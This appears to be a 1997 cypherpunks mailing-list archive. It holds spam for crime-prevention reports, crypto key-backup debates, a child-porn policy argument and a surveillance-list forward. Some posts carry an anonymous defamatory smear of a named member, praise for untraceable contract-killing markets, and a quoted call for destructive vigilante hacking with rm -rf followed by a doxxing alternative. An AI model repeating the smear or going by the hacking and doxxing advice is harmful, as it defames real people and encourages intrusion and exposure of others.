Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.


TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

02





From crime at tarsey.com  Wed Jun 11 00:50:13 1997
From: crime at tarsey.com (crime at tarsey.com)
Date: Wed, 11 Jun 1997 00:50:13 -0700 (PDT)
Subject: ~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!
Message-ID: <>


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.


TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

02





From tcmay at got.net  Tue Jun 10 09:52:24 1997
From: tcmay at got.net (Tim May)
Date: Wed, 11 Jun 1997 00:52:24 +0800
Subject: Untraceable Contract Killings
In-Reply-To: 
Message-ID: 



At 4:02 AM -0700 6/10/97, Anonymous wrote:
>Declan McCullagh  wrote:
>
>        Moral issues aside, one of the problems plaguing
>        Bell's scheme is that it's not limited to
>        eliminating "government thugs who violate your
>        rights," as he likes to describe it. If it
>        existed, anyone with some spare change could
>        wipe out a nosy neighbor or even an irritating
>        grocery store clerk.
>
>Not likely, but for another reason.  Assuming you had the money to take
>out your neighbor, it's going to be fairly obvious who did it.  (How many
>neighbors do you have?  Pretty short list of suspects.)

Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
hardly matters who the "suspects" are, as nothing is provable. (Assuming no
implicating ephemera are left lying around on disk drives....)

By the way, this is not really Bell's "assassination politics," this is
just anonymous contract killings, known about to some of us since Chaum's
work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.

I may sound touchy on this issue, but I'm seeing more and more articles
here and relayed from outside essentially giving Bell the credit for
inventing these kinds of markets, when in fact he's a relative latecomer.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Tue Jun 10 10:13:09 1997
From: tcmay at got.net (Tim May)
Date: Wed, 11 Jun 1997 01:13:09 +0800
Subject: Macht frei or make fries?
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: 



At 9:34 AM -0700 6/10/97, Alan wrote:
>On Tue, 10 Jun 1997, Anonymous wrote:
>
>> The possibility of Microsoft killing their competition's engineers is
>> somewhat more realistic, although lately they've been hiring a lot of
>> them instead, so maybe they don't want to kill them. :)
>
>"Ve have veys ov making you vork for us!"
>
>Adds a new twist to hiring practices...  Work for us or not at all.
>
>"Microsoft Mach Frie!"

I don't think MS is using the Mach kernel...

Maybe you meant "Microsoft macht frei!"

Or "McDonald's Makes Fries!"

Or, speaking of the Mach kernel,

Kernel Jerry Sanders finger-lickin' good tasty bytes.


--Klaus! von Future Prime

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Tue Jun 10 10:19:11 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 11 Jun 1997 01:19:11 +0800
Subject: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <3.0.1.32.19970610093059.00747630@popd.ix.netcom.com>



At 06:31 PM 6/9/97 -0400, Adam Shostack wrote:
>Yes, these are our freinds.  They are attacking key recovery where its
>being sold; namely to companies.  And the report is damned effective
>at selling companies that 'the best cryptographers in the world'
>oppose this.  Its been very useful to me for that already.

Yeah.  They don't need to attack on the libertarian issues -
not only have they done that already (:-), but that's a political belief,
and their report is addressing the business issues that the government
is trying to use as a crowbar to get government access wedged into
the public's key management and crypto systems.
If Clipper 3 and Clipper 4 are bad technically, and bad economically,
businesses won't widely adopt it and push it on the public,
and they won't buy it enough for mass-market economies of scale
to kick in the way they do with MSDOS or SSNs-as-credit-identifiers.

Addressing the obvious blatant civil liberties bogosity of
the Clipper N programs is a job for a different audience,
and for speakers with a different sets of hats on - 
you wear the technical hat to say "Clipper N is broken technically",
as Matt Blaze et al. did for Clipper 1, and you wear the
respected-technical-consultants-to-business hat to say
"You can't trust this system with your money or trade secrets",
and you wear your civil liberties hat to say "Stop Big Brother!".
Our friends here are addressing the business audience,
so they're wearing the business-related hats.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Tue Jun 10 10:32:14 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 11 Jun 1997 01:32:14 +0800
Subject: Access to Storage and Communication Keys
In-Reply-To: 
Message-ID: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>



At 10:06 PM 6/9/97 -0400, Marc Horowitz wrote:
>To me, mail encryption is not communications encryption.  The mail
>message is encrypted, just like a file might be.  Then those encrypted
>bits are sent over the net.  It is precisely because I have access to
>the ciphertext as a separate entity that this is not communications
>encryption.

An interesting perspective, but I don't know that it works.
For this to make sense, either the business needs to have access to
the stored received email if the user gets run over by a police car,
or else the business needs to know that it doesn't _need_ access -
either because the mail isn't business related, or because the
business-related parts have been transferred to other systems
using a convenient user interface.

On the other hand, if receiving email with encrypted attachments
is _in_convenient to store in a mail system, maybe it will help
encourage people not to use that mail system for storing messages,
or to junk the mail system entirely :-)  (I'm thinking here of systems
like IBM PROFS and Microsoft Mail, which both encourage storage
in their monolithic mailboxes.

>The *only* reason to escrow communications keys is to spy on people;
>there is never an opportunity for data loss here.
Yeah!  (Actually, the other reason to escrow them is because
you're using the same keys for communication and storage,
and you have potentially decent business reasons for backup
of storage keys, but that's only the case if you're not using
a sufficiently flexible cryptosystem and are using key backup
instead of data backup, which is really the preferred approach anyway.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From nobody at REPLAY.COM  Tue Jun 10 10:53:51 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 01:53:51 +0800
Subject: Hash functions
Message-ID: <199706101740.TAA27226@basement.replay.com>



Given Tim May's propensity to molest little children, is it 
any surprise that the state of California wants to have him 
castrated?

      _  o
     |<)_/# Tim May
     TT  
Message-ID: 



On Tue, 10 Jun 1997, Bill Stewart wrote:

> and you have potentially decent business reasons for backup
> of storage keys, but that's only the case if you're not using
> a sufficiently flexible cryptosystem and are using key backup
> instead of data backup, which is really the preferred approach anyway.)

I could envision situations where you wouldn't want to backup plaintext,
but only ciphertext.  In those situations, key backup would also be
necessary.  This would require the use of passphrases or some other
tokens to utilize the backed up keys.

 --
 Phil Helms                                  Internet: phil at cccs.cccoes.edu
 Community College Computer Services                    Phone: 303/595-1524
 Denver, Colorado                                         FAX: 303/620-4697






From real at freenet.edmonton.ab.ca  Tue Jun 10 11:49:11 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 11 Jun 1997 02:49:11 +0800
Subject: Hash functions
In-Reply-To: <199706101740.TAA27226@basement.replay.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to him.

On Tue, 10 Jun 1997, Anonymous wrote:

> Given Tim May's propensity to molest little children, is it 
> any surprise that the state of California wants to have him 
> castrated?
> 
>       _  o
>      |<)_/# Tim May
>      TT   

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From kent at songbird.com  Tue Jun 10 11:49:14 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 11 Jun 1997 02:49:14 +0800
Subject: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>
Message-ID: <19970610112926.04400@bywater.songbird.com>



On Tue, Jun 10, 1997 at 12:12:36PM -0700, Phil Helms wrote:
> On Tue, 10 Jun 1997, Bill Stewart wrote:
> 
> > and you have potentially decent business reasons for backup
> > of storage keys, but that's only the case if you're not using
> > a sufficiently flexible cryptosystem and are using key backup
> > instead of data backup, which is really the preferred approach anyway.)
> 
> I could envision situations where you wouldn't want to backup plaintext,
> but only ciphertext.  In those situations, key backup would also be
> necessary.  This would require the use of passphrases or some other
> tokens to utilize the backed up keys.

If you have data you wish to guard from disclosure I think that in
most circumstances you want to back up ciphertext.  It is a *lot*
cheaper to secure a piece of paper with a passphrase on it (in a safe
deposit box, for example) than it is guard a gigabyte of backup tapes. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From aba at dcs.ex.ac.uk  Tue Jun 10 11:55:30 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 11 Jun 1997 02:55:30 +0800
Subject: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <6V618D47w165w@bwalk.dm.com>
Message-ID: <199706101825.TAA00741@server.test.net>




Dimitri Vulis  writes:
> Adam Back  writes:
> >                               The people in NI have been there for
> > multiple generations, and probably also don't want to be relocated to
> > England.
> 
> Why is the rest of the UK obliged to cater to their desires?

Well I agree.  However I would guess that the people of NI could claim
if it suited that they _were_ english, and that the UK government was
therefor bound to provide military support, in the same way as for
borough of London say when it gets bombed by IRA.

That's socialism for you.  Say in the south of england (relatively
wealthy) we'd be better off if we didn't pay taxes to keep all the
unemployed in the north.

> What if the majority of the NI population felt that a special L1000
> poll tax should be imposed on the English, with the proceeds
> disbursed equally among the NI population?

That's called democracy you each vote to steal from other voters :-)

> >           Many of these people are English descent and their ancestors
> > where given land by the British government which was stolen from
> > native Irish about 300 years ago.  They have also intermarried.
> 
> Scottish descent, stricly speaking. Also at the rates the catholics
> are breeding, they'll be a minority soon.

I did hear that in the UK we'll all be in the minority to muslims by
2000 something for similar reasons.  (Don't have figures to back that
up, I'd guess it's exaggerated, but the trend is there, some
religions/nationalities have 6+ children each, whereas your average
honky has 1 or 2).

> > You should also realise that IRA and supporters are minority in NI
> > today, for a sense of perspective.
> 
> If you're such a strong believer in the rule of the majority :-), why
> should the NI protestants (who are a fraction of the total UK population)
> force the entire UK to do something that the rest of the UK doesn't want?

State police military is a socialist thing, the fact that they have
some claim to be english is enough justification in the eyes of
policians to interfere.  Obviously it's historical also.

IRA isn't at all popular in the UK either, peoples reactions are more
extreme than the UK military over there.  UK military is on best
behaviour, rules of engagement of no fire until fired upon, proof to
stand up in court etc.  Some soldier got tried and convicted for being
too trigger happy.  Soldiers don't like it over there, getting sniped
at, and not allowed to shoot back.  It is claimed that the military
know who all the IRA people are, but just can't pin anything on them
that would stick.  Your average UK person says: if you know who they
are why don't we send in the SAS and kill the bastards.

The IRA are a nuisance if for no other reason than they recently
altered UK law to remove right to silence because IRA suspects were
remaining silent, and with lack of evidence getting released.

So now, if you're silent, the judge can ask the jury to take this into
consideration (presumption of guilt, if you won't speak, you must have
something to hide).

Previously the converse was true, the judge was supposed to ensure the
jury understood that silence meant nothing.  You were obviously in
your best interests to say absolutely nothing.  As Duncan is fond of
pointing out, never say _anything_ to a policeman.  Your best tactic
was clearly not to even get involved in cross examination where you
could be made to look bad by clever lawyer even if completely
innocent, so no evidence, `no comment', `no comment' x 100, -> case
dismissed.

> > (I forget name, but there is a non-governmental paramilitary group on
> > other side to IRA in NI, occasionally there is rumor that British Army
> > is feeding this paramilitary organisation names of IRA suspects to
> > hit, to save them the trouble).
> 
> Is that the guys that Hallam Baker said he had asked to kill me? :-)

Guess so.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <97Jun10.144116edt.32257-1@brickwall.ceddec.com>



On Mon, 9 Jun 1997, se7en wrote:

> Yes, I am advocating malicious, destructive hacking activity against 
> these people. Who are they going to run to? The police? "They hacked my 
> kiddie porn server and rm -rf'd my computer!" Right...the police will be 
> so anxious to lock us up left and right.

Why not simply trace them down to something close to their identity, and
when confirmed, simply email the newspaper website nearest them.  Why rm
-rf when you can get whatever ID information from the very same hard
drive?  I think this would be a proper, proportional response since the
authorities will do more damage since it won't involve just the computer. 






From sunder at brainlink.com  Tue Jun 10 12:34:23 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 11 Jun 1997 03:34:23 +0800
Subject: BAD ADVICE WARNING from Kent: Access to Storage and Communication Keys
In-Reply-To: <19970610112926.04400@bywater.songbird.com>
Message-ID: 



On Tue, 10 Jun 1997, the spooks made the tentacle named Kent Crispin
write the following bad advice:

> If you have data you wish to guard from disclosure I think that in
> most circumstances you want to back up ciphertext.  It is a *lot*
> cheaper to secure a piece of paper with a passphrase on it (in a safe
> deposit box, for example) than it is guard a gigabyte of backup tapes. 

BBBBZZZZZZZZZT!  Wrong!

Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
cassette. Fairly easy to guard, but, if your data is backed up in
encrypted form (cyphertext), and not clear text, you don't even need to
bother protecting the tape. (That is unless your backup software uses a
weak cypher as most tend to do.)  [FYI: Your knowledge of tape
technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb. 
Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
audio cassettes) hold as much as 40Gb in a very small form factor.]

Or if you are afraid of loss to EMI and such, backup to MO media, or to
CDR media.  You can get 4Gb MO's these days fairly cheap, and since
they're just like hard drives you don't need to use backup software.
They're impervious to accidental wiping by magnetic waves, and they're
rewriteable, which means you don't have to pay much money to do new
backups.  OTOH, they are rewriteable, you might want to burn CD's, which
only store 650M, but two of them will easily store 1.2Gb, and prevent
loss by erasure.  At less than $6 in bulk this is very cheap.  You sti.l
have to protect the media from heat, direct sunlight, dust, scratches,
liquids, etc...

The best way to go is to have an encrypted volume, unmount the volume
before backing it up, and backup the sectors on the volume instead of
individual files.  To be safe, I'd run several backups since if the tape
goes bad on a spot that holds inodes, you've lost several directories...

But you can leave the tapes unprotected in clear view of the world. 
They're useless to those that don't have the passphrase.  Hence it costs
you $0.0 to secure tapes that hold strongly encrypted information.  It
costs a lot more to protect that said piece of paper.  (I would still
advocate keeping a set of tapes offsite in case of fire or other local
physical disaster - but the security risk of keeping them unsecured is
still zero if you are using a good hard drive encryptor that uses strong
crypto.)  If you are paranoid, you could encrypt your backup with a
different cypher.  (i.e. use IDEA on the hard drive, then backup and
encrypt the encrypted drive with 3DES and Blowfish, all using different
passphrases.)

Yes, you can write your passphrase on paper, but if someone finds it you
are screwed.  Giving such advice is dangerous.  It is as if you told
someone to put a PostIt(tm) note with their account and password on their
monitor, or to use their birthday as their password, or their dog's name.
Paper is very easily compromised.  Weak passwords and passphrases are also
easily compromised.

If you want to protect your passphrase agaist memory failures (human
memory that is), break it up with a secure split function, and save it to
disk (or print it out in hex), then give a piece to each of several
trusted parties - who do not know each other. Something along the lines of
a K of N system where you'd need 5 pieces out of 8 to restore the
passphrase.  

Oh, and those trusted parties should not be government agencies for the
simple reason of how beurocracies work. One could be a safety deposit box,
another could be a family lawyer (but make sure it's not a big agency),
another a cousin in a differnet city, another a neighbor, etc...  

(I.E. I wouldn't leave anything with the CIA - see the news headlines for
all the reports of double agents bought off by the Russians, etc... though
it is more likely that the NSA would be safer place to store, either
because it has better controls on the data, or more likely because reports
of double agents there never reached the media...)  Still I wouldn't go
that route, though you personally might.  In general, you don't want to
leave them in the hands of corporations/agencies where folks getting paid
$5.50/hour can be easily bribed, or leaned on, or rubberhose persuaded, or
sold to the "If you knew what I knew" and "I'm from your government and
here to help you" lines.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From tzeruch at ceddec.com  Tue Jun 10 12:56:31 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Wed, 11 Jun 1997 03:56:31 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <97Jun10.153453edt.32257-1@brickwall.ceddec.com>



On Mon, 9 Jun 1997, Lucky Green wrote:

> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.
> 
> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?
> 
> The answer is clearly no. By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

This assumes that supplying the craving for pictures will not increase the
desire to do acts in the real world enough to increase the number of acts

C.S. Lewis once described society as a convoy - and that there was little
disagreement about ships not running into each other.  But he also made
the point that it may be proper to require ships to be seaworthy so they
won't run a risk of running into other ships because they cannot avoid it.

Looking at synthetic child porn may be purely a thought crime, but it
involves breaking a lot of societal taboos.  If someone does not have the
self-restraint to not look at mere pictures, will they have the restraint
to avoid comitting actual crimes?  Pornography is not like reading Rosseau
or Locke since rational enlightenment is not the goal.

Logic != Emotion

But what happens when we deal with individuals who are entirely driven by
emotions, and by the basest emotions possible?

Although you can argue that people may be able to look without touching,
the reason they are looking in the first place involves a release of the
beast within.  How many such people are we willing to trust to keep that
beast on the chain.  The law is currently structured to answer "none" to
this question, and this may be the proper answer.

With guns and explosives, there is greater likelyhood that someone will
injure themselves or their own property on a destructive binge.  This type
of expression is more benign, though I don't think it represents the
better angels of our nature.  But I see no threat to me personally from
such people.

Similarly with most drugs - if the dealers could use the courts to settle
problems like stolen merchandise there would be less violence.  I might
demand someone go to a secure area before taking a drug which will deprive
them of their reason, and not be let out until it is recovered.

But I would not want to have someone leave the two components to a binary
nerve gas on a shelf, with the owner's promise that they will never fall
off and accidentally mix, or believe that the owner will never get angry
and decide to destroy something.  Something intrinsically capable of mass
destruction is also something that can be regulated.

Something that is in and of itself a turning away from reason and giving
in to emotion, and the ultimate destination of that path if it is followed
will result in injury to others, especially innocents, is something that
should be regulated.

This form of "information" is an addictive drug, with the side effect is
that it destroys others much more than it destroys the abuser, and it
doesn't wear off after a drying out period.  (Or could I suggest that they
could watch as much as they want in a secure area, but could not get out
unless they were chemically castrated?)

This does not mean that I am any less a civil-cyber-libertarian, since I
have even more problems with current enforcement of most laws.  That is a
different issue.  I am saying that it should be illegal, not how such laws
should be enforced, and not that we should shred the constitution in
pursuit of these people.






From sunder at brainlink.com  Tue Jun 10 13:02:36 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 11 Jun 1997 04:02:36 +0800
Subject: SPECIAL ISSUE Surveillance List Forum Vol 2 Issue#133 June  10,1997 (fwd)
Message-ID: 



Vewy vewy intwestwing stuff....  (forwarded from the security list.)  Note
the "major threat to LEA's" in particular...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Tue, 10 Jun 1997 10:16:51 -0400
From: SpyKing 
Subject: SPECIAL ISSUE Surveillance List Forum Vol 2 Issue#133 June  10,1997

******************************************************************************
Vol.Two Issue #133           The Surveillance List            June 10,1997        
                        Over 2100+ Members Worldwide
                     Representing 46 different countries
                List Chat at: http://www.thecodex.com/chat.html
                             ***SPECIAL ISSUE***
******************************************************************************
IN THIS ISSUE...
******************************************************************************

01) Important Issue Concerning ALL in the Surveillance Business... 
  
 
******************************************************************************
DON'T BE A LURKER.... GET INVOLVED... YOU ARE A MEMBER... MAKE THE MOST OF IT
******************************************************************************
1)From: SpyKing at thecodex.com
Subject: Important Issue Concerning ALL in the Surveillance Business...

I received this post from Gilbert Walz and thought it of immense importance to the list. He's asked me to post and I am complying... Read this carefully as it could affect all... If you agree that something needs to be done I urge you to contact you congressman and let them know about this situation...

>>>>
From: GilbertWa at aol.com
Date: Sun, 18 May 1997 01:56:48 -0400 (EDT)
To: SpyKing at thecodex.com
Subject: US CUSTOMS BUST

Greetings,
My partner Jude Daggett was recently arrested by US Customs in a sting set up
by Bill Fischer of E.C.I. Calgary Canada,for allegedly selling a chip that
enabled a panasonic cell phone to receive 800-900 mhz.Mr. Fischer  was
apparently set up as well by Cellular Tecnology , a company that sell's the
CT-1000 a Hand Held cell test piece.
There is much more to the story,including an upcoming trial in San Jose Ca,
for violations of section 2512, I am the defendant in this case.
If you are interested in more detail please page me@ 415-979-7353.

Regards,

Gilbert Walz

<<<<

From: GilbertWa at aol.com
Subject: Section 2512

FYI

MAJOR THREAT TO STATE AND LOCAL LAW ENFORCEMENT CAPABILITIES

State and local law enforcement bodies have begun to find it difficult to procure the latest in Title III equipment, i.e. equipment "...primarily useful for the surreptitious interception of ... communication".  Unless action is taken at the highest levels of the federal government, there is no question that serious harm will be done to the abilities of state and local law enforcement to properly perform technical surveillance.

This is an extremely serious matter, and I urge you to take the time to
study this information.  Law enforcement's ability to properly perform its
duties faces a serious and a real threat, and correcting the situation will
not be easy, but it is something that MUST be done.

We're in this sorry state for two real reasons and one possible reason, viz:

Real Reason #1.  The federal law that deals with monitoring that which has
been transmitted by radio is irrational, poorly written, unthinkably
stupid, incomplete, technically impossible to enforce, vague where it
should be specific, specific where it covers unenforceable prohibitions,
and primarily of value to vendors of cordless and cellular telephones
(because they can lie to their potential customers telling them: "nobody
can listen to you; it's against the law).

Real Reason #2.  Some federal government entities have chosen to reinterpret elements of a law enacted almost thirty years ago (and amended many times since then).

